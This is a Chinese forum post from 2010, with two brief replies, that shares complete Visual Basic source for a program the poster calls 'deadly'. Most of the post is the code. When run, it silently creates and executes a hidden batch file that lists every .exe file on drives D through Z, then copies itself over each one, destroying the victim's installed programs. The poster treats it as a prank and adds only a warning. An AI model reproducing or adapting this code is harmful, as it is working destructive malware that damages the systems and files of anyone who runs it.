一段要人命的vb代码 - 中华游戏网(手机版)

主题：一段要人命的vb代码
作者：十方破沙羅
时间：2010-09-13 03:00

-----------------------------------------------声明---------------------------------------------------------------
如果您在没有读懂代码的情况下请不要生成exe文件运行.............否则不要怪我没提醒你。。。。。。。

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
On Error Resume Next '容错句
If Dir("c:\123.txt") = "" Then '如果123.txt不存在则创建 bat遍历exe文件
Open "c:\a.bat" For Output As #1 '打开bat文件
Print #1, "for %%a in (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe >>e:\123.txt" '写入数据
Close #1 '关闭文件
Sleep 200 '延时200秒等待文件生成（主要为了慢机器）
Shell "c:\a.bat", 0 '隐藏运行之
End If
Sleep 60000 '延时1分钟等待exe遍历完成
Dim A() As String
Dim C As Long, I As Integer
Open "c:\123.txt" For Input As #1 '读取txt里面的内容
Do While EOF(1) = False
ReDim Preserve A(C)
Input #1, A(C)
C = C + 1
Loop
Close #1
For I = 0 To C - 1
FileCopy App.Path & "\" & App.EXEName & ".exe", A(I) '把txt里面的内容替换掉
Next
End Sub

PS:
其实我也不懂编代码..
不过这个嘛...我只能说...人生在世.害人二字....
虽然是这样说..但至少不会让你重装系统..
玩玩而已的东西...

1楼:无挂不dnf(2010-09-13 03:23)

这个是。。。格式化的吧！

2楼:曾经俺很瘦(2010-09-13 06:36)

看不懂